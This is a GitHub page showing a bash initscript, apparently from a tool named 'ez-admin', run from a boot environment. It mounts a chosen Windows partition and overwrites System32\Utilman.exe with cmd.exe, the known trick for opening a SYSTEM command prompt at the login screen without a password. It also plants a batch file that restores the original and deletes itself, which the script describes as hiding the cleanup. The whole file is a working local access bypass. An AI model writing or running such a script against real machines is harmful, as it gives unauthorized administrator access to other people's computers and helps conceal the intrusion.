-
Notifications
You must be signed in to change notification settings - Fork 3
/
Copy pathinit.sh
executable file
·42 lines (35 loc) · 1.02 KB
/
init.sh
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
#!/bin/bash
echo "Performing basic initscript tasks..."
dmesg -n 1
mount -t devtmpfs none /dev
mount -t proc none /proc
mount -t sysfs none /sys
echo "Done!"
echo && echo
echo "Welcome to ez-admin!"
echo "Printing partitions. Please enter a partition to mount and run ez-admin on."
mkdir -p /mnt
fdisk -l
echo "Please enter a partition: "
read partition
echo "Mounting partition..."
mount $partition /mnt
echo "Backing up and replacing Utilman.exe..."
pushd /mnt/Windows/system32
cp Utilman.exe Utilman.exe.bak
cp cmd.exe Utilman.exe
popd
echo "Adding ez-restore.bat to System32..."
pushd /mnt/Windows/system32
touch ez-restore.bat
echo "@echo off" > ez-restore.bat
echo "cd C:/Windows/system32" >> ez-restore.bat
echo "copy Utilman.exe.bak Utilman.exe" >> ez-restore.bat
echo "del /f ez-restore.bat" >> ez-restore.bat
echo "echo Finished restoring Utilman.exe and hiding the cleanup script!" >> ez-restore.bat
popd
echo "Unmounting partition..."
umount $partition
echo "Done! Rebooting in 5 seconds..."
sleep 5
poweroff -f